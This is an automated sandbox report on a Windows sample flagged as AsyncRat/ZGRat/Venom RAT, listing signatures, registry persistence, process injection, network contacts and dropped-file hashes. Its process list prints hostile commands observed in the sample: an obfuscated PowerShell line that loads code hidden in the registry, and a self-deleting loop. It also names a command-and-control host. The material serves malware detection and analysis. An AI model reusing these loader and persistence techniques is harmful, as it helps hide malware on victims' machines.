Malware Analysis Report

2024-11-13 16:31

Sample ID 240510-hz2d3ada49
Target 9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics
SHA256 78ce536df6722793cde9eca1bc9f78bc4abe3d17613eb950401c1fbc0335142c
Tags
asyncrat zgrat venom clients evasion persistence rat execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

78ce536df6722793cde9eca1bc9f78bc4abe3d17613eb950401c1fbc0335142c

Threat Level: Known bad

The file 9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics was found to be: Known bad.

Malicious Activity Summary

asyncrat zgrat venom clients evasion persistence rat execution

Suspicious use of NtCreateUserProcessOtherParentProcess

Detect ZGRat V1

AsyncRat

ZGRat

Modifies security service

Async RAT payload

Command and Scripting Interpreter: PowerShell

Deletes itself

Executes dropped EXE

Checks computer location settings

Loads dropped DLL

Checks BIOS information in registry

Adds Run key to start application

Drops file in System32 directory

Suspicious use of SetThreadContext

Unsigned PE

Program crash

Enumerates physical storage devices

Enumerates system info in registry

Uses Task Scheduler COM API

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Checks SCSI registry key(s)

Modifies registry class

Suspicious use of WriteProcessMemory

Checks processor information in registry

Modifies data under HKEY_USERS

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-10 07:11

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-10 07:11

Reported

2024-05-10 07:13

Platform

win7-20240508-en

Max time kernel

150s

Max time network

16s

Command Line

winlogon.exe

Signatures

AsyncRat

rat asyncrat

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A

Modifies security service

evasion
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP C:\Windows\System32\svchost.exe N/A
Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection C:\Windows\System32\svchost.exe N/A

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 2072 created 428 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\system32\winlogon.exe

ZGRat

rat zgrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\Audio HD Driver = "C:\\Users\\Admin\\AppData\\Local\\Temp\\WinUpdate.exe" C:\Users\Admin\AppData\Local\Temp\O7BOT.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2072 set thread context of 2876 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\VENOM.exe

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\O7BOT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier C:\Users\Admin\AppData\Local\Temp\O7BOT.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e018c640a9a2da01 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\O7BOT.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\dllhost.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\svchost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2216 wrote to memory of 556 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\O7BOT.exe
PID 2216 wrote to memory of 556 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\O7BOT.exe
PID 2216 wrote to memory of 556 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\O7BOT.exe
PID 2216 wrote to memory of 556 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\O7BOT.exe
PID 2216 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2216 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2216 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2216 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2216 wrote to memory of 2292 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\VENOM.exe
PID 2216 wrote to memory of 2292 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\VENOM.exe
PID 2216 wrote to memory of 2292 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\VENOM.exe
PID 2216 wrote to memory of 2292 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\VENOM.exe
PID 2216 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2216 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2216 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2216 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2292 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\VENOM.exe C:\Users\Admin\AppData\Roaming\Install.exe
PID 2292 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\VENOM.exe C:\Users\Admin\AppData\Roaming\Install.exe
PID 2292 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\VENOM.exe C:\Users\Admin\AppData\Roaming\Install.exe
PID 2292 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\VENOM.exe C:\Users\Admin\AppData\Roaming\Install.exe
PID 2292 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\VENOM.exe C:\Users\Admin\AppData\Roaming\Install.exe
PID 2292 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\VENOM.exe C:\Users\Admin\AppData\Roaming\Install.exe
PID 2292 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\VENOM.exe C:\Users\Admin\AppData\Roaming\Install.exe
PID 2292 wrote to memory of 3024 N/A C:\Users\Admin\AppData\Local\Temp\VENOM.exe C:\Windows\SysWOW64\WerFault.exe
PID 2292 wrote to memory of 3024 N/A C:\Users\Admin\AppData\Local\Temp\VENOM.exe C:\Windows\SysWOW64\WerFault.exe
PID 2292 wrote to memory of 3024 N/A C:\Users\Admin\AppData\Local\Temp\VENOM.exe C:\Windows\SysWOW64\WerFault.exe
PID 2292 wrote to memory of 3024 N/A C:\Users\Admin\AppData\Local\Temp\VENOM.exe C:\Windows\SysWOW64\WerFault.exe
PID 2140 wrote to memory of 2072 N/A C:\Windows\system32\taskeng.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
PID 2140 wrote to memory of 2072 N/A C:\Windows\system32\taskeng.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
PID 2140 wrote to memory of 2072 N/A C:\Windows\system32\taskeng.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
PID 2072 wrote to memory of 2876 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2072 wrote to memory of 2876 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2072 wrote to memory of 2876 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2072 wrote to memory of 2876 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2072 wrote to memory of 2876 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2072 wrote to memory of 2876 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2072 wrote to memory of 2876 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2072 wrote to memory of 2876 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2072 wrote to memory of 2876 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2876 wrote to memory of 428 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\winlogon.exe
PID 2876 wrote to memory of 472 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\services.exe
PID 2876 wrote to memory of 488 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\lsass.exe
PID 2876 wrote to memory of 496 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\lsm.exe
PID 2876 wrote to memory of 596 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 2876 wrote to memory of 676 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 2876 wrote to memory of 748 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 2876 wrote to memory of 812 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 2876 wrote to memory of 848 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 2876 wrote to memory of 960 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 2876 wrote to memory of 276 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 2876 wrote to memory of 1004 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\spoolsv.exe
PID 2876 wrote to memory of 1072 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 2876 wrote to memory of 1080 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\taskhost.exe
PID 2876 wrote to memory of 1152 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\Dwm.exe
PID 2876 wrote to memory of 1200 N/A C:\Windows\System32\dllhost.exe C:\Windows\Explorer.EXE
PID 2876 wrote to memory of 804 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe
PID 2876 wrote to memory of 1288 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 2876 wrote to memory of 2148 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\sppsvc.exe
PID 2876 wrote to memory of 556 N/A C:\Windows\System32\dllhost.exe C:\Users\Admin\AppData\Local\Temp\O7BOT.exe
PID 2876 wrote to memory of 1796 N/A C:\Windows\System32\dllhost.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2876 wrote to memory of 2292 N/A C:\Windows\System32\dllhost.exe C:\Users\Admin\AppData\Local\Temp\VENOM.exe
PID 2876 wrote to memory of 2052 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\wbem\wmiprvse.exe
PID 2876 wrote to memory of 3024 N/A C:\Windows\System32\dllhost.exe C:\Windows\SysWOW64\WerFault.exe
PID 2876 wrote to memory of 2140 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\taskeng.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\winlogon.exe

winlogon.exe

C:\Windows\system32\services.exe

C:\Windows\system32\services.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsm.exe

C:\Windows\system32\lsm.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k RPCSS

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\spoolsv.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork

C:\Windows\system32\taskhost.exe

"taskhost.exe"

C:\Windows\system32\Dwm.exe

"C:\Windows\system32\Dwm.exe"

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation

C:\Windows\system32\sppsvc.exe

C:\Windows\system32\sppsvc.exe

C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe"

C:\Users\Admin\AppData\Local\Temp\O7BOT.exe

"C:\Users\Admin\AppData\Local\Temp\O7BOT.exe"

C:\Users\Admin\AppData\Local\Temp\svchost.exe

"C:\Users\Admin\AppData\Local\Temp\svchost.exe"

C:\Users\Admin\AppData\Local\Temp\VENOM.exe

"C:\Users\Admin\AppData\Local\Temp\VENOM.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $file='C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe';for($i=1;$i -le 600 -and (Test-Path $file -PathType leaf);$i++){Remove-Item $file;Start-Sleep -m 100}

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

C:\Users\Admin\AppData\Roaming\Install.exe

"C:\Users\Admin\AppData\Roaming\Install.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 1020

C:\Windows\system32\taskeng.exe

taskeng.exe {E71943FE-33A8-4D3B-9380-2ED8D60848CE} S-1-5-18:NT AUTHORITY\System:Service:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+[Char](84)+''+'W'+''+'A'+''+[Char](82)+''+'E'+'').GetValue(''+'$'+''+'7'+''+[Char](55)+''+[Char](115)+'t'+[Char](97)+'g'+'e'+'r')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "1807355002400027821487082641-628697697-1691833429-20167174171463726205109710044"

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{7fa4e402-8564-4555-8271-496f8e63025d}

Network

Country Destination Domain Proto
US 8.8.8.8:53 gdx.o7lab.me udp
NL 94.156.71.238:80 gdx.o7lab.me tcp

Files

memory/2216-0-0x0000000000400000-0x000000000058C000-memory.dmp

\Users\Admin\AppData\Local\Temp\O7BOT.exe

MD5 15df2c3e654cfcf05a461001caa3873f
SHA1 76755d8f5ca782d87320e031b9b5c1c06c1aa59a
SHA256 def50a99856f6c75d6f714b390da7c98ba82ce0280c101c313cc90caf522f011
SHA512 b871fc427c5760fe4a37aadc8962c72df331d4daf7d8e50bc3cdd51981db3e0abe92429701d2325d7827ae33d5d289ee52020a8ebb4a49629920f13eeb77ab80

C:\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 9d82dc826bcac1bdd4c41bf79577af27
SHA1 c38360ef0e8acb8f34ebe713ab83ce85cf3fe503
SHA256 784233bc80ea7857c39dbcd9c929a626093fced8c54224e742c4d0e1d128e80d
SHA512 7b863ee39c0e58e91db4fef3bf968c15a595d8de7dbbfd43d56c8b6e2ccdff59aaedc85cdb5d9924128cdf5fc1a77fe9fe36a4dcc4d8fd49da89b6462be1338b

C:\Users\Admin\AppData\Local\Temp\VENOM.exe

MD5 6b9c17340172a6a60b1104628a69f9c6
SHA1 db8e387d429b852233dc872b91f7cc9308c703f9
SHA256 9c67f5654d96f6399a567bdd70314b0d746bffa8611591d473217e287a46d14e
SHA512 6b4e475d23892e4ce646b291222793b8f6fa0f888545ddbebb5fd02bd145212911abf15933888021560a5bf912e03e4b0c37a0b03601be25d691e885d7bc09ef

memory/556-21-0x00000000009D0000-0x00000000009DE000-memory.dmp

memory/1796-22-0x000000013FB20000-0x000000013FBC2000-memory.dmp

memory/2292-23-0x0000000000A50000-0x0000000000AB4000-memory.dmp

memory/2292-26-0x0000000000410000-0x0000000000452000-memory.dmp

memory/1796-27-0x000000001B830000-0x000000001B932000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

\Users\Admin\AppData\Roaming\Install.exe

MD5 152e3f07bbaf88fb8b097ba05a60df6e
SHA1 c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256 a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA512 2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

memory/2292-36-0x000000000BA40000-0x000000000BA56000-memory.dmp

memory/1796-41-0x0000000000640000-0x0000000000696000-memory.dmp

memory/1796-42-0x0000000000AF0000-0x0000000000B3C000-memory.dmp

memory/2072-46-0x0000000019FB0000-0x000000001A292000-memory.dmp

memory/2072-47-0x0000000000980000-0x0000000000988000-memory.dmp

memory/2072-48-0x0000000019EF0000-0x0000000019F1A000-memory.dmp

memory/2072-49-0x00000000777E0000-0x0000000077989000-memory.dmp

memory/2072-50-0x00000000776C0000-0x00000000777DF000-memory.dmp

memory/2876-57-0x00000000777E0000-0x0000000077989000-memory.dmp

memory/2876-56-0x0000000140000000-0x0000000140008000-memory.dmp

memory/2876-59-0x0000000140000000-0x0000000140008000-memory.dmp

memory/428-65-0x0000000000BC0000-0x0000000000BEB000-memory.dmp

memory/428-64-0x0000000000AF0000-0x0000000000B15000-memory.dmp

memory/428-62-0x0000000000AF0000-0x0000000000B15000-memory.dmp

memory/2876-54-0x0000000140000000-0x0000000140008000-memory.dmp

memory/428-66-0x0000000000BC0000-0x0000000000BEB000-memory.dmp

memory/428-74-0x0000000037820000-0x0000000037830000-memory.dmp

memory/488-94-0x00000000001E0000-0x000000000020B000-memory.dmp

memory/488-102-0x0000000037820000-0x0000000037830000-memory.dmp

memory/496-108-0x00000000008C0000-0x00000000008EB000-memory.dmp

memory/488-101-0x000007FEBFA40000-0x000007FEBFA50000-memory.dmp

memory/488-100-0x00000000001E0000-0x000000000020B000-memory.dmp

memory/1796-150-0x000000001AC60000-0x000000001ACB4000-memory.dmp

memory/472-88-0x0000000037820000-0x0000000037830000-memory.dmp

memory/472-87-0x000007FEBFA40000-0x000007FEBFA50000-memory.dmp

memory/472-86-0x0000000000CB0000-0x0000000000CDB000-memory.dmp

memory/472-80-0x0000000000CB0000-0x0000000000CDB000-memory.dmp

memory/428-73-0x000007FEBFA40000-0x000007FEBFA50000-memory.dmp

memory/428-72-0x0000000000BC0000-0x0000000000BEB000-memory.dmp

memory/2876-53-0x0000000140000000-0x0000000140008000-memory.dmp

memory/2876-52-0x0000000140000000-0x0000000140008000-memory.dmp

memory/2876-51-0x0000000140000000-0x0000000140008000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-10 07:11

Reported

2024-05-10 07:13

Platform

win10v2004-20240508-en

Max time kernel

150s

Max time network

150s

Command Line

winlogon.exe

Signatures

AsyncRat

rat asyncrat

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 3116 created 616 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\system32\winlogon.exe

ZGRat

rat zgrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate C:\Windows\system32\wbem\wmiprvse.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\VENOM.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Audio HD Driver = "C:\\Users\\Admin\\AppData\\Local\\Temp\\WinUpdate.exe" C:\Users\Admin\AppData\Local\Temp\O7BOT.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx C:\Windows\System32\svchost.exe N/A
File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx C:\Windows\System32\svchost.exe N/A
